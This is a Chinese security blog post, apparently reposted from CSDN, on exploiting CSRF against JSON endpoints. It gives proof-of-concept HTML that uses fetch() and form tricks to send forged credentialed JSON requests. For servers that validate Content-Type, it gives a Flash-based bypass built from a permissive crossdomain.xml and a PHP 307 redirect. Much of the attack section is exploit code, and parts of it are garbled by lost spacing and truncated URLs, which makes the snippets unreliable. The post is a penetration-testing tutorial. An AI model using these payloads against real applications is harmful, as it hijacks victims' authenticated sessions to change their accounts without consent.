CSRF跨站点请求伪造在Flash中的利用

69次阅读

共计 2451 个字符,预计需要花费 7 分钟才能阅读完成。

0×00 前言

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比 XSS 更具危险性。

对于大多数网站,浏览器请求会自动包含任何与网站相关的凭证,例如用户的会话 cookie,IP 地址,Windows 域凭证等等

大家都知道 CSRF 攻击,使用 burpsuite 里自带的增强工具 (engagement tools) 可以很容易地构造各种基本的 CSRF 攻击 POC,包括通过 XHR 请求进行的 CSRF 攻击。

在这篇文章中,我将要谈论我经常遇到的 CSRF 场景,并且我将尽可能尝试讲清楚.

0×01 正文

接下来的两种方法可以用在使用 JSON 格式数据进行 post 请求的情况下. 比如{“name”:”test”,“email”:”victim.com”} , 有以下两个场景.

场景 1

服务器查找 json 格式的数据,但不验证内容类型

场景 2

服务器寻找 json 格式的数据并验证 Content-type,也就是 application / json

注意:这个 csrf 攻击只适用于应用程序只依赖 json 格式的数据或内容类型的应用程序 / json 和数据格式检查,如果有任何额外的 csrf 标记 / referer 检查的地方这将无法正常工作。

开发案例 1:

只要使用 Fetch 请求就可以完成,正如我们所知,在这种情况下,服务器只检查发布的数据是否格式正确,如果是,它将接受请求,而不管内容类型是否设置为文本 / 纯文本

现在假设我们必须将这个测试数据提交给易受攻击的应用程序:{“name”:“attacker”,“email”:“attacker@gmail.com”}

更新的方法:

<html><title>JSON CSRF POC</title><body><center><h1> JSON CSRF POC </h1><script>fetch(‘http://vul-app.com’;, {method: ‘POST’, credentials: ‘include’, headers: {‘Content-Type’: ‘text/plain’}, body: ‘{“name”:”attacker”,”email”:”attacker.com”}’});</script><formaction=”#”><inputtype=”button”value=”Submit” /></form></center></body></html>

资料来源:http://research.rootme.in/for…

以前的方法—- 使用 form:

使用 form 构造 JSON 数据等然后发起 post 请求:

html><title>JSON CSRF POC</title><center><h1> JSON CSRF POC </h1><formaction=http://vul-app.commethod=post…=”text/plain” ><inputname='{“name”:”attacker”,”email”:”attacker@gmail.com”,”ignore_me”:”‘value=’test”}’type=’hidden’><inputtype=submitvalue=”Submit”></form></center></html>

如果应用程序不关心在我看到的大多数情况下发生的额外数据,这将使用有效的 json 格式的数据发出请求并填充一些额外的数据。如果没有,总是有第二种使用方式。

资料来源:http://blog.opensecurityresea…

开发案例 2:

在这里即使应用程序正在验证  内容类型和数据格式,这种攻击也可以使用 flash 和 307 重定向来实现。

要求:

精心制作的 Flash 文件

跨域 XML 文件

带有 307 个状态的 PHP 文件

精心制作的 flash 文件:

这个 flash(.swf)文件有我们的 json 格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的 php 文件。

这里是测试的  SWF 文件,你可以根据你的需要下载和编辑内容,我使用 FFDec 在 Windows 上进行编辑和编译 Flash 文件,你可以根据你的环境检查其他人。

crossdomain XML 文件:

<cross-domain-policy><allow-access-fromdomain=”“secure=”false”/><allow-http-request-headers-fromdomain=”“headers=”*”secure=”false”/></cross-domain-policy>

这个文件应该放在攻击者网站的根目录下,这样 Flash 文件就可以向攻击者的主机发送请求。

注意:如果 Flash 文件&重定向器页面在同一个域,则不需要 crossdomain 文件。

重定向的 PHP 文件

<?php// redirect automaticallyheader(“Location: https://victim.com/user/endpoint/”;, true, 307);?>

Flash 文件请求这个 php 文件,这将使 307 重定向到提到的应用程序端点,并且 307 是特殊的重定向,它将从 Flash 文件接收到的 JSON 数据也 post 到目标端点,并且 CSRF 将成功执行.

 

注意:因为这是基于闪存的,所以应该在浏览器中安装闪存以使其工作。

作者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_…
版权声明:本文为博主原创文章,转载请附上博文链接!

正文完
 0